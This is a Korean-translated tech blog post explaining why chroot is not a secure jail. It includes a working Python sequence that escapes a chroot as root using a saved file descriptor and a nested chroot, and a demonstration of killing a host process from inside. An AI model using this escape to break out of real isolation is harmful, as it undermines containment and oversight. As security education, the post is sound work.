chroot 안전
chroot
명령으로 시작된 새 프로세스에서 '외부' 파일 시스템을 분리합니다.편리하지만 안전하지는 않습니다. 약간의 창의성으로 프로세스는 'chroot 감옥'을 깨뜨릴 수 있습니다.
파일 디스크립터를 통해 깨기
파일 설명자를 통해 중단하는 간단한 예from this kernel mailing list message가 있습니다.
chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.
시도해 봅시다:
$ sudo debootstrap bionic customdebroot
...
$ sudo chroot customdebroot/ bash
# python3
>>> import os
>>> fd = os.open('/', os.O_RDONLY)
>>> os.mkdir('foo')
>>> os.chroot('foo')
>>> os.fchdir(fd)
>>>
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chroot('.')
>>> os.mkdir('works')
>>> exit()
# exit
$ ls -1 /
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
works
works
디렉토리는 시스템의 실제 파일 시스템 루트에 생성되었으며 chroot
로 시작된 프로세스에서 생성되었습니다.왜 그런 일이 발생합니까?
From Wikipedia :
The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.
From Linus Torvalds :
> So all chroot(2) really does is reset the "/" reference?
Yes. Literally. Everything else stays the same, including any open files (and cwd).
It's a "flaw" in chroot if you consider it a jail, but it's used for so much more than that.
(...)
Note that the most common use of chroot isn't actually the "jail" kind of usage, but building and installation environments (ie a lot of package building stuff end up using chroot as a way to create the "target environment").
더 많은 탈출 옵션
Balazs Bucsay는 이 GitHub 리포지토리에서 chroot를 이스케이프하는 다양한 접근 방식을 카탈로그화합니다. https://github.com/earthquake/chw00t
YouTube에서 그의 이야기도 확인해 볼 가치가 있습니다.
다른 리소스 보호
chroot
는 파일 시스템을 적절하게 격리하지 않을 뿐만 아니라(위에서 설명한 것처럼) 마운트 지점 및 기타 프로세스와 같은 다른 리소스를 보호하는 데에도 방해가 되지 않습니다.예를 들어, 아래에서
mousepad
(텍스트 편집기)가 외부chroot
에서 시작되고 내부에서 성공적으로 종료된 것을 볼 수 있습니다.$ mousepad &
[1] 41196
$ sudo chroot customdebroot/ bash
# ps aux
Error, do this: mount -t proc proc /proc
# mount -t proc proc /proc
# ps aux|grep mousepad
1000 41196 0.5 1.1 472356 44728 ? Sl 15:37 0:00 mousepad
root 41232 0.0 0.0 11460 964 ? S+ 15:38 0:00 grep --color=auto mousepad
# sudo kill 41196
기타 프로세스 확인 숨기기namespaces 및 리소스 사용량 제한 확인control groups (cgroups) .
Reference
이 문제에 관하여(chroot 안전), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/tallesl/chroot-safety-mh텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)